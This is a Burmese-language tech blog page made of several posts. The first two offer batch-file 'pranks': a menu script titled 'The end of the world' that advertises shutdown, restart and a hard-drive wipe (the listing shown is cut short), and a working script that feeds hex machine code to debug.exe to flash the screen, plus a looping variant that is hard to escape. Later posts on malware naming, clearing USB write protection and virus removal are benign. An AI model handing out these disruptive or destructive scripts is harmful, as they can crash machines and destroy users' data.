9) ေအာက္ကျဖစ္စဥ္ေတြကိုလုပ္ေပးမယ့္ program ေလးပါ။ေပးလာမယ့္ မက္ေဆ့ေတြကကၽြန္ေတာ္ထင္ သလိုေရွာက္ေရးထားတာပါ။

1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
code:

@echo off
title The end of the world
cd C:
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

ဒီဟာေလးကို ( .bat) နဲ႔ေဆ့ပါ


10) Lighting .bat

သင့္ ေမာ္နီတာဟာဘာမွ မျမင္ရပဲ လင္းလက္ေနတဲ့ ဖန္သားျပင္ကိုသာျမင္ရမွာပါ။

@echo off
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>z.dbg
echo g=100>>z.dbg
echo q>>z.dbg
debug nul
del z.dbg

သင္ျပန္ထြက္ခ်င္ရင္ CTRL-ALT-DELETE နဲ႕ျပန္ထြက္လိုက္ပါ။
ေအာက္ကကုတ္ဆိုရင္ အဲဒါနဲ႕မရပါ။ctrl+shirt+esc နဲံ႕ရမယ္။
@echo off
:a
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>z.dbg
echo g=100>>z.dbg
echo q>>z.dbg
debug nul
del z.dbg
goto a

အျပည့္အစံု

ဗိုင္းရပ္စ္ေတြကို နာမည္ေပးပံု

Antivirus ေတြက ဗိုင္းရပ္စ္ေတြကို နာမည္ေပးပံုေတြက တစ္ခုနဲ႔တစ္ခု မတူၾကပါဘူး။ ဒါေပမဲ့ Format ေတြေတာ့ တူၾကပါတယ္။ သူတို႔ကေတာ့ Virus ေတြ Worm ေတြအားလံုးကို Malware သို႔မဟုတ္ Threat လို႔ သတ္မွတ္ၾကပါတယ္။ Format ေလးေတြကို သိထားျခင္းအားျဖင့္ အနည္းဆံုးေတာ့ Win32 ဗိုင္းရပ္စ္၀င္လို႔ဗ်ာဆိုတဲ့ အေျပာအဆိုအမွားေတြကို ေရွာင္ၾကဥ္ႏိုင္ပါလိမ့္မယ္။ ဒီေဆာင္းပါးမွာေတာ့ Microsoft Security Essential အေနနဲ႔ Malware ေတြကို နာမည္ေပးတဲ့ ပံုစံေလးကို ရွင္းျပထားပါတယ္။

ဒီပံုေလးမွာေတာ့ Malware တစ္ခုရဲ႕ နာမည္အျပည့္အစံုကို ေဖာ္ျပထားပါတယ္။

ေရွ႕ဆံုးက Worm ဆိုတာက Malware အမ်ိဳးအစားကို ေျပာတာပါ။ အဲဒီေနရာမွာ Worm လည္း ျဖစ္ႏိုင္တယ္၊ Virus လို႔လည္း ျပႏိုင္ပါတယ္။ Malware အမ်ိဳးအစားေတြကေတာ့ ေအာက္မွာျပထားသလို အမ်ားႀကီးပါ။

Adware
Backdoor
Behavior
BrowserModifier
Constructor
DDoS
Dialer
DoS
Exploit
HackTool
Joke
MonitoringTool
Program
PWS
RemoteAccess
Rogue
SettingsModifier
SoftwareBundler
Spammer
Spoofer
Spyware
Tool
Trojan
TrojanClicker
TrojanDownloader
TrojanDropper
TrojanProxy
TrojanSpy
VirTool
Virus
Worm

Type ရဲ႕ေနာက္မွာ ထိခိုက္ႏိုင္တဲ့ Platform နာမည္ကို သတ္မွတ္ပါတယ္။ Win32 ဆိုရင္ 32bit Windows မွန္သမွ်ကို ဒုကၡေပးႏိုင္ပါတယ္။ 64bit Windows ေတြကို မထိခိုက္ပါဘူး။ Win95 လို႔ဆိုရင္ေတာ့ Windows 95 ကိုပဲ ထိခိုက္ပါလိမ့္မယ္။ ဥပမာအားျဖင့္ နာမည္ႀကီး ခ်န္ႏိုဘိုင္းဗိုင္းရပ္စ္ဟာ Win95 ျဖစ္တဲ့အတြက္ Windows XP, 7 မွာ ခ်န္ႏိုဘိုင္း၀င္ရင္ ဘာမွျဖစ္မွာမဟုတ္ပါဘူး။ ရွိတဲ့ Platform နာမည္ေတြ အတိုေကာက္နဲ႔ ရွင္းလင္းခ်က္ေတြကေတာ့ ေအာက္မွာျပထားတဲ့အတိုင္းပါပဲ။

AndroidOS Android OS
DOS MS-DOS platform
EPOC Psion devices
FreeBSD FreeBSD platform
iPhoneOS iPhone OS
Linux Linux platform
MacOS MAC 9.x platform or earlier
MacOS_X MacOS X or later
OS2 OS2 platform
Palm Palm OS
Solaris System V-based Unix platforms
SunOS Unix platforms 4.1.3 or lower
SymbOS Symbian OS
Unix general Unix platforms
Win16 Win16 (3.1) platform
Win2K Windows 2000 platform
Win32 Windows 32-bit platform
Win64 Windows 64-bit platform
Win95 Windows 95, 98 and ME platforms
Win98 Windows 98 platform only
WinCE Windows CE platform
WinNT Windows NT platform

ေဟာ လာပါၿပီ။ ေနာက္မွာပါတဲ့ Taterf ဆိုတာကမွ တကယ့္ဗိုင္းရပ္စ္ရဲ႕ နာမည္ျဖစ္ပါတယ္။ Family name လို႔လည္း ေခၚပါတယ္။ ေနာက္က .K ဆိုတာကေတာ့ ဗိုင္းရပ္စ္ရဲ႕ variant ပါ။ variant က A ကေန Z ထိတင္မကပဲ AA ကေန ZZ ထိ စသည္ျဖင့္ ရွိပါတယ္။ variant ကြဲရင္ ဗိုင္းရပ္စ္ရဲ႕ တိုက္ခိုက္ပံုခ်င္းကလည္း အနည္းငယ္ကြဲျပားပါတယ္။

ေနာက္ဆံုးက dll ကေတာ့ suffix လို႔ေခၚၿပီး ပိုၿပီးအေသးစိတ္ေအာင္ ထည့္ေပးထားျဖင့္ျဖစ္ပါတယ္။ dll ဖိုင္ေတြကို အဓိက ကူးစက္မယ္ဆိုတဲ့ သေဘာပါ။

ဒီေလာက္ဆိုရင္ ကိုယ့္ကြန္ပ်ဴတာထဲ ၀င္တဲ့ဗိုင္းရပ္စ္ရဲ႕ နာမည္ကို ဘယ္လိုေခၚမလဲဆိုတာ ခြဲျခားႏိုင္သြားလိမ့္မယ္လို႔ ယူဆပါတယ္။ ဒါေပမဲ့ ဗိုင္းရပ္စ္ရဲ႕ နာမည္ကို သိၿပီးတဲ့ေနာက္မွာ အဲဒီ ဗိုင္းရပ္စ္ရဲ႕ အျပဳအမူကို အင္တာနက္မွာ ရွာၿပီး ဆက္ေလ့လာပါလို႔ တိုက္တြန္းပါရေစ။ ဗိုင္းရပ္စ္ဖိုင္ကို ဖ်က္ပစ္တာ၊ ဒါမွမဟုတ္ ဗိုင္းရပ္စ္ကပ္ေနတဲ့ ဖိုင္ေတြအားလံုးကို ဖ်က္ပစ္တာဟာ ဗိုင္းရပ္စ္ကို သတ္ရံုေလးပဲ သတ္တာပါ။ အဲဒီ ဗိုင္းရပ္စ္က ဖ်က္ဆီးသြားတဲ့ ေျခရာလက္ရာေတြကိုေတာ့ ျပင္ဆင္ၿပီးသား ျဖစ္မွာမဟုတ္ပါဘူး။ သူ ျပင္ဆင္သြားတဲ့ Registry၊ Modify လုပ္သြားတဲ့ system files ေတြ စသည္ျဖင့္ပါ။ နဂိုအတိုင္းျပန္ျဖစ္ေအာင္ ျပဳလုပ္ႏိုင္မွ ကိုယ့္ကြန္ပ်ဴတာက အေကာင္းအတိုင္း သံုးႏိုင္ပါလိမ့္မယ္။ နာမည္ကို သိရင္ အဲဒီဗိုင္းရပ္စ္ေတြရဲ႕ အျပဳအမူကို Google မွာ ရွာေဖြႏိုင္သလို www.symantec.com မွာလည္း ရွာေဖြႏိုင္ေၾကာင္းပါ။

credit: itmen

အျပည့္အစံု

USB Devices ေတြရဲ႕ Write Protection ကုိေျဖရွင္းျခင္း

အားလုံးမဂၤလာပါခင္ဗ်ာ။ ကၽြန္ေတာ္ ဒီပုိ႔စ္ေလးကုိ ေရးဖုိ႔ စဥ္းစားေနတာေတာ့ ၾကာပါၿပီ။ အလုပ္ေတြနဲ႔ မအားလပ္လုိ႔ မေရးျဖစ္ခဲ့တာပါ။ အခုေတာ့ မိတ္ေဆြ ေတြက မၾကာခဏ ေမးျမန္းလာၾကလုိ႔ ေရးလုိက္ တာပါ။ 

USB Devices (USB Pen Drive, Flash Drive, Memory Card . etc) ေတြဟာ ကၽြန္ေတာ္တုိ႔ အရင္က သုံးခဲ့တဲ့ Floppy Disk ေတြလုိ physically အရ write protection  လုပ္လုိ႔မရပါဘူး။ အခု အေပၚမွာ ျပထားတဲ့ ပုံေတြလုိ ျဖစ္တာဟာ Virus တစ္မ်ိဳးမ်ိဳးေၾကာင့္ျဖစ္ႏုိင္ပါတယ္။ ဒီျပႆနာကုိ ေျဖရွင္းဖုိ႔အတြက္ ေအာက္က အဆင့္ေတြအတုိင္း လုိက္လုပ္ၾကည့္ၾကပါ..။ 

၁။     Start မွ Run ကုိသြားပါ။ box ထဲမွာ regedit လုိ႔ ရုိက္ထည့္ၿပီး enter ေခါက္လုိက္ပါ။ ေအာက္ကပုံလုိ Registry Editor ေပၚလာပါလိမ့္မယ္။

၂။   HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies အဆင့္ဆင့္ သြားပါ။ Control ေအာက္မွာ StorageDevicePolicies ဆုိတာမရွိရင္ အဲဒီ Key ကုိ ထည့္ေပးဖုိ႔ လုိပါတယ္။ ဒီအဆင့္က အေရးႀကီးတဲ့အတြက္ ေသခ်ာလုိက္လုပ္ဖုိ႔လုိပါတယ္။ နည္းလမ္း(၂)မ်ိဳးနဲ႔ အဲဒီ Key ကုိ ဖန္းတီးလုိ႔ရပါတယ္။

• ပထမနည္းကေတာ့ အထက္ပါအတုိင္း အဆင့္ဆင့္သြားၿပီး Control ကုိကလစ္လုိက္ရင္ ညာဖက္ အကြက္မွာ Key ေတြ ေပၚလာပါလိမ့္မယ္။ အဲဒါေတြရဲ႕ ေအာက္ဖက္ လြတ္တဲ့ေနရာမွာ Right-click လုပ္၊ New--> Key ကုိကလစ္လုိက္ရင္ ဘယ္ဘက္မွာ Folder rename ပုံစံနဲ႔ေတြ႕ပါမယ္။ အဲဒီမွာ Key ရဲ႕အမည္ကုိ StorageDevicePolicies လုိ႔ရုိက္ထည့္ေပးပါ (စာလုံးေပါင္းမွားလုိ႔မရတဲ့အတြက္ ေသခ်ာဂရုစုိက္ၿပီးရုိက္ထည့္ေပးပါ)။ ၿပီးရင္ enter ေခါက္လုိက္ပါ။ StorageDevicePolicies ကုိ ဖန္တီးၿပီးသြားပါၿပီ။

• ဒုတိယနည္းကေတာ့ add.bat ဆုိတဲ့ batch ဖုိင္ေလးကုိ ဒီေနရာမွာ ေဒါင္းလုပ္ယူၿပီး အဲဒီဖုိင္ကုိ Double-click လုပ္လုိက္ပါ။ အလုိအေလ်ာက္ StorageDevicePolicies ကုိ ဖန္တီးၿပီးသား ျဖစ္သြားပါလိမ့္မယ္။

၃။   အဲဒီဖန္တီးၿပီးသြားတဲ့ StorageDevicePolicies ကုိကလစ္လုပ္ပါ။ ညာဘက္အကြက္က လြတ္ေနတဲ့ ေနရာမွာ Right-click--->New--->DWORD Value အဆင့္ဆင့္သြားပါ။ New Value မွာ WriteProtect လုိ႔ အမည္ေပးလုိက္ပါ။ 

၄။   ၿပီးရင္ အဲဒီ WriteProtect ကုိ Double-click လုပ္ၿပီး သူ႔ရဲ႕တန္ဖုိးကုိ "0" လုိ႔ေျပာင္းလုိက္ပါ။

၅။   Registry Editor ကုိပိတ္ၿပီး ကြန္ပ်ဴတာကုိ Restart ခ်လုိက္ပါ။ အားလုံးအဆင္ေျပၾကပါေစ ခင္ဗ်ာ..။

 

မေလးေရာက္ျမန္မာ ဆီက ကူးယူေဖာ္ျပပါသည္။

အျပည့္အစံု

Computer ထဲက Virus ေတြကို ဖ်က္မယ္

တကယ္တမ္း ကြန္ပ်ဴတာ ဗိုင္းရပ္စ္ ေတြကုိ ရွင္းလင္းရတယ္ဆုိတာ လြယ္ကူတဲ႔ကိစၥမဟုတ္သလုိ မိမိရဲ႕ အဖိုးတန္တဲ႔ အခ်ိန္တခ်ဳိ႕ကုိ ေပးဆပ္ၾကရတာပါ။ ဘယ္ကြန္ပ်ဴတာမွ Virus တစ္မ်ဳိးတည္း ရတယ္ဆုိတာ မရွိပဲနဲ႔ မိမိရဲ႕အိမ္မွာ ပုရြက္ဆိတ္ေလးေတြ ၀င္လာသလုိပါပဲ ေနာက္ဆုံး တပ္စုၾကီးနဲ႔ပဲ ၿပန္လည္ ထြက္ခြာသြားၾကတာပါ။ Antivirus ဆုိတာ အေကာင္းမြန္ဆုံး ကာကြယ္ေရး တပ္ဖြဲ႕ၾကီးၿဖစ္တယ္ သုိ႔ေပမယ့္လည္း ၄င္း Antivirus က out of date ၿဖစ္ေနမယ္ဆုိရင္ အသုံး၀င္တဲ႔ antivirus program တစ္ခုၿဖစ္လာမွာ မဟုတ္ပါဘူး။ ဒီေတာ့ virus ေတြကုိ ခုခံတုိက္ခုိက္ဖုိ႔၊ virus ရွိမရွိဆုိတာ သိဖုိ႔အတြက္ သံသယၿဖစ္ဖြယ္ရာ processing ေတြ၊ ဖုိင္ေတြကုိ သိဖုိ႔လုိပါတယ္။ ဒီလုိ ဒုကၡေပးႏုိင္တဲ႔ virus ေတြကုိ config, taskmanager နဲ႔ autoruns tools ေတြနဲ႔ ရွာေဖြၾကရတယ္။ ဒါေၾကာင့္ သံသယ ၿဖစ္ဖြယ္ process ေတြကုိ မိတ္ေဆြတုိ႔အေနဲ႔ ရွာေတာ့မယ္ဆုိရင္ ဒီ file က ဘယ္ကလာတာလဲ၊ registry keys ေတြအတြက္ ေလးလံေစတဲ႔ ဖုိင္ေတြလား၊ ဘယ္လုိ services ေတြကုိ အသုံးၿပဳေနလဲ၊ ဘယ္ startup program ေတြထဲမွာ ဘယ္လုိဖုိင္ေတြအေနနဲ႔ ၀င္ေရာက္ အသုံးၿပဳေနလဲဆုိတာကုိ သိဖုိ႔လုိပါတယ္။ အကယ္၍မ်ား virus ကုိ ရွင္းလင္းလုိက္ဖုိ႔ ၂ နာရီေလာက္ အခ်ိန္ၾကာမယ္ဆုိရင္ အဲ႔လုိရွင္းလင္းလုိက္ဖုိ႔ထက္ Operating System ကုိၿပန္လည္၍ အသစ္တင္လုိက္မည္ဆုိေသာ အခ်က္နဲ႔ ညိွႏႈိင္းရပါလိမ့္မယ္။ ဒါက အခ်ိန္ကုန္မခံေစခ်င္တဲ႔အတြက္ ေၾကာင့္ပင္ၿဖစ္သည္။

Virus ရဲ႕ အဓိပၸါယ္။...

အရုိးရွင္းဆုံး ေ၀ါဟာရတစ္ခုအေနနဲ႔ Computer Virus ဆုိတာ သူကုိယ္တုိင္ ဖုိင္တစ္ခုကုိ ဖန္တီးႏုိင္တယ္ ကူးယူႏုိင္တယ္။ လုံၿခံဳေရး ဆုိင္ရာ program ေတြကုိ စိန္ေခၚ ၿခိမ္းေၿခာက္ႏုိင္တဲ႔ အစြမ္းေတြရွိတယ္။ တစ္ခ်ဳိ႕ virus ေတြက သတ္မွတ္ထားတဲ႔ ဖုိင္ေတြကုိ delete လုပ္ႏုိင္တယ္၊ တစ္ခ်ဳိ႕က user ေတြ ကြန္ပ်ဴတာရဲ႕ password နဲ႔ information ေတြကုိ ခုိးယူႏုိင္တယ္။ တစ္ခ်ဳိ႕ၾကၿပန္ေတာ့ မိမိရဲ႕ ကြန္ပ်ဴတာကုိ OS တက္မလာေလာက္ေအာင္ ဖ်က္စီးမႈ႔လုပ္ႏုိင္ၾကတယ္။
အၾကမ္းဖ်င္းအားၿဖင့္ -
Virus = ကုိယ္တုိင္ copy ကူးယူႏုိင္ေသာ file တစ္ခု
Trojan = virus သုိ႔မဟုတ္ malware ေတြပါ၀င္ေသာ program တစ္ခု
Spyware = ကြန္ပ်ဴတာ ကုိထိန္းခ်ဴပ္ခြင့္ရရန္ သိုမဟုတ္ ၾကားေဖါက္၀င္ေရာက္ႏုိင္ေအာင္ ဖန္တီးထားေတာ့ ဖုိင္ သို႔မဟုတ္ program တစ္ခု
Maleware = ကြန္ပ်ဴတာအား ပုိင္ရွင္၏ ခြင့္ၿပဳခ်က္မရပဲ ပ်က္စီးရာ ပ်က္စီးေၾကာင္း ဖန္တီးႏုိင္ေသာ program
Worm = Network အေပၚမွာ လမ္းသလားေသာ virus

Virus ဖယ္ရွားၿခင္း။
မိမိကြန္ပ်ဴတာမွာ virus ရွိသည္ဟု ယူဆပါက Up to Date ၿဖစ္ေနေသာ Antivirus program ေတြနဲ႔ စစ္ေဆးေပးပါ။ Antivirus program က detect သိလုိ႔ ဖယ္ရွားႏုိင္တယ္ဆုိ ရင္ေတာ့ ကံေကာင္းတာေပါ႔။ AV ေတြ Detect သိတယ္.. Remove မလုပ္ႏုိင္ေတာ့ဘူးဆုိရင္ေတာ့ ၿဖစ္ေနတဲ action နဲ႔ file ကုိ မွတ္သားထားပါ .. ၿပီးရင္ Search Engine မွာ ၄င္းဖုိင္ နဲ႔ ၄င္း virus ရဲ႕ ဒုကၡေပးပုံေတြကုိ ေၿပာဆုိ အကူအညီေတာင္းပါ။ ၿပီးလ်င္လမ္းညြန္အတုိင္းေၿဖရွင္းမွာ။ ေၿဖရွင္းမႈ႔မလုပ္ခင္တုိင္းမွာ မိမိရဲ႕ အေရးၾကီးတဲ႔ ဖုိင္ေတြကုိ backup လုပ္ထားပါ။

Virus Detect မသိခဲ႔ရင္
ကြန္ပ်ဴတာမွာ AntiVirus / AntiSpyware program ေတြအေနနဲ႔ Detect မသိဘူး သုိ႔ေသာ္ ကြန္ပ်ဴတာက အရင္အတုိင္းပဲ ေႏွးၿမဲေႏွးေနမယ္ဆုိရင္ေတာ့ background processes ေတြကုိ ၾကည့္ရပါလိမ့္မယ္။ ဒီအတြက္ special tool ေလးေတြက အဓိက တာ၀န္ထမ္းေဆာင္ရလိမ့္မယ္။ ဥပမာ :- task manager, autoruns, process explorer and hijackthis တုိ႔လုိေပါ႔။

Checking Running Processes
ကၽြန္ေတာ္တုိ႔ PC တစ္လုံး Error ၿဖစ္တယ္ဆုိရင္ ပထမဦးဆုံးအၾကိမ္ task manager (Ctrl + Alt+ Del) ကုိ ေခၚၾကည့္တယ္. ၿပီးရင္ ဘယ္လုိ file နဲ႔ services ေတြ Run ေနလဲ Memory usage ေတြဘယ္ေလာက္မ်ားမ်ားကုိ ဘယ္လုိ file ေတြက အသုံးၿပဳေနလဲဆုိတာကုိၾကည့္မယ္။ ၿပီးရင္ System Configuration Ultility (RUN>msconfig) က ေနဘယ္ serivces ေတြ နဲ႔ ဘယ္ဖုိင္ေတြက Operating System (Windows ) startup မွာ ၀င္ေရာက္ေနလဲဆုိတာကုိပါၾကည့္ပါ။အကယ္၍ starup မွာ ထူးထူးၿခားၿခား file အမည္ေလးေတြနဲ႔ ၀င္ေနတာေတြ႔ရင္


တုိ႔မွာသြားၿပီး ဖုိင္အမည္ကုိ ရုိက္ထည့္စစ္ေဆးၾကည့္ပါ။ ဘာေၾကာင့္လဲဆုိေတာ့ တစ္ခ်ဳိ႕ ဖုိင္ေတြက system file ေတြနဲ႔ပုံစံတူေတြၿဖစ္ေနတတ္တယ္။ မိမိကြန္ပ်ဴတာအတြက္ အေရးမပါတဲ႔ processes ေတြကုိ end လုပ္ပါ။

System Configuration Utility


RUN dialog box မွာ msconfig ဆုိၿပီးေတာ့ ရုိက္ထည့္လုိက္ ၿပီးရင္ System Configuration Utility ဆုိတာေပၚလာမယ္... ဒါကေတာ့ Microsoft Windows မွာဆုိရင္ အေကာင္းဆုံး ကြန္ပ်ဴတာကုိၿပင္ဆင္မႈ႔ပုိင္းမွာ အေထာက္အကူၿပဳတဲ႔ utility ပဲၿဖစ္တယ္။ ေနာက္ဆုံး ဘာမွမသိဘူးပဲထား startup tab မွာ Disable All ဆုိတာကုိ ႏုိပ္မယ္။ ေနာက္ Services tab မွာ Hide All Microsoft Services ဆုိတာကုိ အမွန္ၿခစ္မယ္. ၿပီးရင္ Disable All ဆုိၿပီးႏုိပ္ restart လုပ္လုိက္ရင္ မိမိရဲ႕ ကြန္ပ်ဴတာ system ဟာပုံမွန္ထက္သိသိသာသာကုိ ေကာင္းမြန္လာတာကုိေတြ႔ရလိမ့္မယ္။ ဒီပုံစံနဲ႔ တစ္ခါတစ္ေလ ဘာ error မွန္းမသိ (အထူးသၿဖင့္ Software Conflict ၿဖစ္၍ windows normal ၀င္မရၿခင္း) တဲ႔ ၿပႆနာေတြကုိ F8 ႏုိပ္ကာ Safe Mode ထဲကေန ၿပင္ၿပီးသုံးသြားရင္ေတာင္ အဆင္ေၿပပါတယ္။

All-in-one diagnostic Tools
Autoruns


ဒီ software က Task manager, msconfig and the services list ေတြ စသည့္ system diagnostic အစုံပါတဲ႔ freeware ေလးတစ္ခုပါ။

Process Explorer

ဒါေလးကေတာ့ အေပၚက ပုံစံပါပဲ.. သူ႔ရဲ႕ ထူးၿခားခ်က္ကေတာ့ file တစ္ခုၿခင္းစီအတြက္ ကုိယ္ပုိင္ ထိန္းခ်ဳပ္မႈ႔ပါ၊ CPU,IO,VM ေတြအၿပင္ performace graphed ေတြပါတယ္။

Hijack This

Technician ေတြနဲ႔ ကြန္ပ်ဴတာ နဲ႔နည္းစပ္သူေတြေတာ္ေတာ္ေတာ္မ်ားမ်ားသိၾကတဲ႔ Tool ပါ။ ဒါေပမဲ႔ ၄င္းတုိ႔မွာ ပါ၀င္တဲ႔ R0,R1,R2,R3 / F0,F1,F2,F3 / 01 / 04 / 23 စသည့္ notable entries ေလးေတြကုိ သတိမထားမိတတ္ပါဘူး။ R0,R1,R2,R3 ဆုိတာက အင္တာနက္ အြန္လုိင္း အမွားအယြင္းေတြ၊ အထူးသၿဖင့္ Internet Browser ေတြေပါ႔... အေသးစိတ္ကုိ


Malware Bytes

Antivirus Program ေတြက ၄င္းတုိ႔ရဲ႕ Virus Signiture ေတြနဲ႔ၿငိတဲ႔ ဖုိင္ေတြကုိ စစ္မယ္၊ Anti Spyware ေတြက Registry Entries မွာ ၄င္းတုိ႔ Spyware အၿဖစ္သတ္မွတ္ထားတဲ႔ ဖုိင္ေတြကုိ စစ္မယ္။ ဒါေပမဲ႔ တစ္ခ်ဳိ႕ malware ေတြကုိ antivirus ေတြ antispyware ေတြ Detect သိေသာ္ၿငားလည္း သူတုိ႔ကုိ Delete မလုပ္ဘူး( Delete လုပ္ဖုိ႔လည္း သူတုိ႔မွာ Power မရွိသလုိ၊ System File လား၊ ဘာလား မခြဲၿခားႏုိင္ၿခင္း၊ ၄င္း malware ေတြနဲ႔ familiar ၿဖစ္ေနၿခင္း)။ (မွတ္ခ်က္ - တစ္ခ်ဳိ႕ Antivirus program ေတြက အဲ႔လုိ malware ရရင္ ေတြ႔သမွ် အကုန္ဖ်က္ပါတယ္...ဘာဖုိင္မွကုိမထားပါဘူး။ ၿပီးရင္ေတာ့ စက္ေတာင္ မတက္ေတာ့ဘူး။ မိမိရဲ႕ ကြန္ပ်ဴတာက malware ကုိက္လုိ႔ ဘာမွမၿဖစ္ပဲနဲ႔ Antivirus run လုိက္မွ ေနာက္ဆုံး ရွိတဲ႔ ဖုိင္ေလးေတြပါ အကုန္ေၿပာင္သြားတတ္ပါတယ္။) ဒါေၾကာင့္ ၄င္း malware ေတြက မိမိရဲ႕ Running System နဲ႔ Applications ေတြကုိ နည္းမ်ဳိးစုံနဲ႔ဒုကၡေပး၊ application သုံးေနရင္းနဲ႔ ရုတ္တရက္ပိတ္၊ error က် အဲ႔လုိေတြ ျဖစ္လာတတ္တယ္။ ဒီအတြက္ Maleware Bytes ဆုိတဲ႔ software ေလးက အဆင္ေၿပဆုံးပါ။

အိမ္လြမ္းသူ ဆီမွ ကူးယူေဖာ္ျပသည္။

အျပည့္အစံု